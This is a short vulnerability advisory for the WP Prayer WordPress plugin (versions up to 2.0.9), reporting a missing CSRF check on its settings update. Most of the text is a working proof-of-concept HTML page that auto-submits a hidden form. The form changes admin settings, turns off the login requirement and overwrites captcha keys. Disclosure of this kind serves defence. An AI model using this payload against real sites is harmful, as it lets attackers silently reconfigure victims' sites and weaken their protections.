WP Prayer <= 2.0.9 - Settings Update via CSRF

2024-04-2400:00:00

Bob Matyas

wordpress

prayer plugin

csrf

vulnerability

update

exploit

AI Score

6.7

Confidence

Low

EPSS

Percentile

9.0%

JSON

Description The plugin does not have CSRF check in place when updating its settings, which could allow attackers to make a logged in admin change them via a CSRF attack

Make a logged in admin open a page containing:

```
<body onload="document.forms[0].submit()">
    <form action="https://example.com/wp-admin/admin.php?page=wpe_manage_settings" method="post" enctype="multipart/form-data">
            <input type="hidden" name="wpe_num_prayer_per_page" value="csrf">
            <input type="hidden" name="wpe_prayer_btn_color" value="csrf">
            <input type="hidden" name="wpe_prayer_btn_text_color" value="csrf">
            <input type="hidden" name="wpe_pray_btn_color" value="csrf">
            <input type="hidden" name="wpe_pray_text_color" value="csrf">
            <input type="hidden" name="wpe_pray_text" value="csrf">
            <input type="hidden" name="wpe_terms_and_condition" value="">
            <input type="hidden" name="wpe_num_of_characters_in_message" value="1000000000">
            <input type="hidden" name="wpe_login_required" value="false">
            <input type="hidden" name="wpe_disapprove_prayer_default" value="true">
            <input type="hidden" name="wpe_prayer_Site_Key" value="csrf">
            <input type="hidden" name="wpe_prayer_secret_key" value="csrf">
            <input type="hidden" name="wpe_prayer_time_interval" value="csrf">
            <input type="hidden" name="wpe_prayer_comment" value="true">
            <input type="hidden" name="wpe_prayer_comment_status" value="true">
            <input type="hidden" name="wpe_categorylist" value="1">
            <input type="hidden" name="wpe_fetch_req_from" value="all">
            <input type="hidden" name="wpe_thankyou" value="csrf">
            <input type="submit" name="wpe_save_settings" value="Save Settings">
            <input type="hidden" name="operation" value="save">
            <input type="hidden" name="page_options" value="wpe_api_key,wpe_scripts_place">
          </form>
</body>

```